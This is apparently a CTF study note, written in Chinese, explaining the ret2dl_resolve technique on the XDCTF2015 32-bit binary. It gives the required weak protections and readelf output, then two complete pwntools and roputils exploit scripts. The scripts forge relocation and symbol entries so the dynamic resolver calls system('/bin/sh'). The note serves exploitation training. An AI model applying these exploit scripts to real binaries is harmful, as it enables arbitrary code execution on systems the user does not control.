ret2dl_resolve的原理:
动态链接相关函数_dl_runtime_resolve(link_map_obj, reloc_index)
功能:在第一次调用某函数时运行,绑定其地址到对应的GOT表项
第一个参数link_map_obj恒为GOT[1]的地址
第二个参数reloc_index为被绑定函数在.rel.plt段中的相对偏移
原理:
ret2dl_resolve的前提:
1.非Full RELRO -z lazy/norelro
2.无PIE -no-pie
3.能够溢出 -fno-stack-protector
编译选项:gcc -m32 -fno-stack-protector -no-pie -z lazy main.c -o main
$ checksec main
RELRO STACK CANARY NX PIE
Partial RELRO No canary found NX enabled No PIE
重定向表:
$ readelf -r main
Relocation section '.rel.dyn' at offset 0x30c contains 3 entries:
Offset Info Type Sym.Value Sym. Name
08049ff4 00000306 R_386_GLOB_DAT 00000000 __gmon_start__
08049ff8 00000706 R_386_GLOB_DAT 00000000 stdin@GLIBC_2.0
08049ffc 00000806 R_386_GLOB_DAT 00000000 stdout@GLIBC_2.0
Relocation section '.rel.plt' at offset 0x324 contains 5 entries:
Offset Info Type Sym.Value Sym. Name
0804a00c 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a010 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a014 00000407 R_386_JUMP_SLOT 00000000 strlen@GLIBC_2.0
0804a018 00000507 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a01c 00000607 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
符号表:
$ readelf --dyn-sym main
Symbol table '.dynsym' contains 10 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
7: 00000000 0 OBJECT GLOBAL DEFAULT UND stdin@GLIBC_2.0 (2)
8: 00000000 0 OBJECT GLOBAL DEFAULT UND stdout@GLIBC_2.0 (2)
9: 0804866c 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
EXP(pwntools):
from pwn import *
elf = ELF('main')
r = process('./main')
rop = ROP('./main')
offset = 112
bss_addr = elf.bss()
r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
#migrate = gadgets1: pop ebp #stack: base_stage
# ret # gadgets2
# gadgets2: mov ebp esp # null
# pop ebp #
# ret #
rop.migrate(base_stage)
r.sendline(rop.chain())
## write sh="/bin/sh"
rop = ROP('./main')
sh = "/bin/sh"
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
### making fake write symbol
fake_sym_addr = base_stage + 32
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf
) # since the size of item(Elf32_Symbol) of dynsym is 0x10
fake_sym_addr = fake_sym_addr + align
index_dynsym = (
fake_sym_addr - dynsym) / 0x10 # calculate the dynsym index of write
## plus 10 since the size of Elf32_Sym is 16.
st_name = fake_sym_addr + 0x10 - dynstr
fake_write_sym = flat([st_name, 0, 0, 0x12])
### making fake write relocation
## making base_stage+24 ---> fake reloc
index_offset = base_stage + 24 - rel_plt
write_got = elf.got['write']
r_info = (index_dynsym << 8) | 0x7
fake_write_reloc = flat([write_got, r_info])
rop.raw(plt0)
rop.raw(index_offset) #指向fake_write_reloc
## fake ret addr of write
rop.raw('bbbb')
rop.raw(base_stage + 82) #system的参数:’/bin/sh\x00’的地址
rop.raw('bbbb')
rop.raw('bbbb')
#r_info的索引指向fake_write_sym
rop.raw(fake_write_reloc) # fake write reloc
rop.raw('a' * align) # padding
#指向’system’
rop.raw(fake_write_sym) # fake write symbol
rop.raw('system\x00') # there must be a \x00 to mark the end of string
rop.raw('a' * (80 - len(rop.chain())))
print rop.dump()
print len(rop.chain())
rop.raw(sh + '\x00')
rop.raw('a' * (100 - len(rop.chain())))
r.sendline(rop.chain())
r.interactive()
EXP(roputils):
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
# used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
# used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()